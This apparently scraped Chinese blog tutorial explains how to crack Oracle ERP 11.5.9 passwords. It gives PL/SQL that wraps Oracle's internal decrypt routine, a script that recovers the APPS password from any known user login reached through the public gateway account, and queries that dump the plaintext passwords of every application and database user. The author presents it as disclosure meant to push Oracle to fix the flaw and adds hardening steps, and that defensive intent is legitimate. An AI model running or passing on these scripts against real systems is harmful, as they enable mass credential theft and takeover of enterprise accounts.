破解Oracle ERP 密码
1. 写作目的 1
2. 利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下 1
(1).建立Package Header 1
(2).建立Package Body 1
3. 取得APPS密码的步骤 2
4. 通过任何一个User name/password取得APPS密码的方法 2
5. 通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法 3
6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法 3
7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法 3
8. 删除第一步建立的Package 3
9. 结论 3
10. 提高Oracle ERP的安全性 4
11. 此程序在Oracle ERP 11.5.9通过Toad测试通过. 4
1. 写作目的
在要不要写出来让大家知道这个问题上想了很久, 但一想到迟早密码破解的方法还是会被人知道的,与其让少部分人知道,还不如让大家都知道,事先好作防范.
公布密码破解方法的目的还是想让Oracle ERP做得更安全一点,让我们大家放心的去用,毕竟是几千万的东西,现在的安全性显然还达不到用户的要求. 想借大家的力量给Oracle施加一点压力,以将Oracle ERP的各个版本改得安全一点.
2. 利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下
(1).建立Package Header
CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER
AS
FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
RETURN VARCHAR2;
END CrackPwd;
(2).建立Package Body
CREATE OR REPLACE PACKAGE BODY CrackPwd
AS
FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END CrackPwd;
/
3. 取得APPS密码的步骤
假设现在什么Oracle erp权限都没有,怎么去知道oracle erp databaes的权限呢? 我们知道Oracle erp提供了一个database的公用账户(gateway user),此账户拥有database的最小权限,这个公用账号是: APPLSYSPUB/PUB(oracle erp网页中或URL中都有公开此账户),虽然此账户没有什么权限,但却有FND_USER_VIEW 的查询权限,通过这个view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,问题就出在这个view的ENCRYPED_FOUNDATION_PASSWORD字段上,
ENCRYPED_FOUNDATION_PASSWORD这个字段是由APPS的密码和用户密码一起通过加密算法得出的结果, 因此只要知道Oracle ERP的解密算法就可以通过fnd_user中任何一个user的password反查apps的密码.,而要知道fnd_user中任何一个user的密码是太简单的事了,在erp安装时就预设了很多账户,这些账户的user name和password都是一样的,一般没有人去改这些账户的密码
4. 通过任何一个User name/password取得APPS密码的方法
SET SERVEROUTPUT ON
DECLARE
guestUserPwd VARCHAR2(200);
guestUserName VARCHAR2(100);
guestFndPwd VARCHAR2(100);
guestEncFndPwd VARCHAR2(100);
delim NUMBER;
BEGIN
guestUserPwd :='GUEST/ORACLE';--Can any user password
IF guestUserPwd IS NULL THEN
guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
END IF;
delim := INSTR(guestUserPwd,'/');
guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
SELECT encrypted_foundation_password INTO guestEncFndPwd
FROM fnd_user_view
WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
(end_date IS NULL OR end_date > SYSDATE);
guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
IF NOT (guestFndPwd IS NULL) THEN
DBMS_OUTPUT.put_line(guestFndPwd);
END IF;
END;
注: guestUserPwd :='GUEST/ORACLE';--Can any user password
上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开
以上程序可以用toad执行
5. 通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法
SET SERVEROUT ON
DECLARE
v_encrypted_pwd VARCHAR2 (100);
v_apps_pwd VARCHAR2 (100);
v_user_pwd VARCHAR (100);
BEGIN
v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58
3C10B916D88062771250F4BE653891CA90671C74187B132118335';
--get ENCRYPTED_USER_PASSWORD from fnd_user
IF v_apps_pwd IS NULL
THEN
v_apps_pwd := 'APPS';
END IF;
v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);
DBMS_OUTPUT.put_line (v_user_pwd);
END;
6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法
SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD) pwd FROM APPS.fnd_user
7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法
select fou.oracle_username,CrackPwd.getpwd('APPS',encrypted_oracle_password) pwd from APPS.fnd_oracle_userid fou
8. 删除第一步建立的Package
DROP PACKAGE CrackPwd
9. 结论
1).只要知道fnd_user中任何一个人的密码就可以反推APPS的密码,即使将database中apps密码改掉也可以反推.
2).反过来只要知道了apps的密码,fnd_user中所有user的密码都可以反推
3).以此类推,只要知道fnd_user中任何一个人的密码就可以反推其它所有User的密码.
4).同理,oracle erp db user(table:fnd_oracle_userid)中密码的加密算法同fnd_user,也就是说只要知道了APPS的密码,则db user的所有密码都可以反推.
10. 提高Oracle ERP的安全性
(1).更改APPS的密码
(2).更改所有预先安装的fnd_user中所有user的password
(3).更改oracle erp database中的所有user(通过table:fnd_oracle_userid进行查询)的password
(4).更改在Profile: GUEST_USER_PWD 中预先设置的GUEST账户密码
(5).尽量不要将Database 可以通过公网连接.
(6).User离职后要将其密码变更后才停用.
但此方法也无法防止内部User知道APPS密码,只有当你所有密码都更改过了,你才敢在公网上连接ERP的Database.
11. 此程序在Oracle ERP 11.5.9通过Toad测试通过.
破解Oracle ERP 密码的更多相关文章
- 破解Oracle ERP密码
前提:你有apps的数据库账户,想知道某个用户的密码,因为fnd_user中的密码为加密的,所以无法看懂,你可以尝试用下边的方式来查看用户密码. SQL> desc fnd_user; Name ...
- [20171213]john破解oracle口令.txt
[20171213]john破解oracle口令.txt --//跟别人讨论的oracle破解问题,我曾经提过不要使用6位字符以下的密码,其实不管那种系统低于6位口令非常容易破解.--//而且orac ...
- 用Hashcat每秒计算1.4亿个密码,破解隔壁WIFI密码
Hashcat是啥 Hashcat是什么呢?Hashcat是当前最强大的开源密码恢复工具,你可以访问Hashcat.net网站来了解这款工具的详细情况.本质上,Hashcat 3.0是一款高级密码恢复 ...
- oracle erp 表结构
BOM模块常用表结构 表名: bom.bom_bill_of_materials 说明: BOM清单父项目 BILL_SEQUENCE_ID NUMBER 清单序号(关键字)ASSEMBLY_ITEM ...
- 破解压缩文件密码rarcrack
破解压缩文件密码rarcrack 常见的压缩文件格式有ZIP.RAR和7z.这三种格式都支持使用密码进行加密压缩.前面讲过破解ZIP压缩文件,可以使用fcrackzip.对于RAR和7z格式,可以 ...
- Oracle 11g密码过期问题解决方案
[问题描述]近日,使用sqlplus登陆短消息Oracle(Oracle培训 )数据库时提示“ORA-28000: 帐号被锁定”.[原因/触发因素]确定是由于oracle11g中默认在default概 ...
- 【密码】Oracle用户密码系列
[密码]Oracle用户密码系列 1.1 BLOG文档结构图 1.2 前言部分 1.2.1 导读和注意事项 各位技术爱好者,看完本文后,你可以掌握如下的技能,也可以学到一些其它你所不知道的知识, ...
- 破解Mysql数据库密码
破解Mysql数据库密码 点我,点我,破解mysql数据库密码:
- Oracle Erp常用网站
2014-01-01 Created By BaoXinjian
随机推荐
- Mysql之表的操作与索引操作
表的操作: 1.表的创建: create table if not exists table_name(字段定义); 例子: create table if not exists user(id in ...
- 机器学习基石:10 Logistic Regression
线性分类中的是非题------>概率题, 设置概率阈值后,大于等于该值的为O,小于改值的为X.------>逻辑回归. O为1,X为0: 逻辑回归假设: 逻辑函数/S型函数:光滑,单调, ...
- 详解vue移动端 下拉刷新
看完这篇文章,相信大伙也一样可以,做出一个自己的刷新,加载的组件 说这个功能之前,大家要先了解一下,要怎么触发滚动条事件. 一定要注意,所有滚动事件都必须要满足这个条件,横向滚动条也一样, 只要满足子 ...
- [WC2006]水管局长数据加强版
Description SC省MY市有着庞大的地下水管网络,嘟嘟是MY市的水管局长(就是管水管的啦),嘟嘟作为水管局长的工作就是:每天供水公司可能要将一定量的水从x处送往y处,嘟嘟需要为供水公司找到一 ...
- ●BZOJ 3894 文理分科
题链: https://vijos.org/d/ljt12138/p/58c696b8d3d8a16c62a248d4 (要权限号啊...用这个交吧) 题解: 题目大意: N*M的矩阵,每个位置 ...
- poj 2065 高斯消元(取模的方程组)
SETI Time Limit: 1000MS Memory Limit: 30000K Total Submissions: 1735 Accepted: 1085 Description ...
- bzoj4518[Sdoi2016]征途 斜率优化dp
4518: [Sdoi2016]征途 Time Limit: 10 Sec Memory Limit: 256 MBSubmit: 1657 Solved: 915[Submit][Status] ...
- oracle 分页查询数据重复问题
最近在做项目的时候发现一个问题,oracle 在查询分页数据的时候,有几条数据重复查询了,并且有几条数据在分页的时候消失了.百度了一下发现,ORACLE 在查询数据的时候返回的行不是固定的,他只是按照 ...
- CentOs源码安装mysql-5.6.34(cmake)
安装环境: VM11 CentOs6.7x86_64(Basic Server +Base System:Base\Compatlibility libraries\Debuggin Tools+De ...
- python中str常用操作
1. 字符串的操作 字符串的连接操作 符号: + 格式:str1 + str2 例如:str1 = 'I Love' str2 = 'You!' print(str1 + str2) >> ...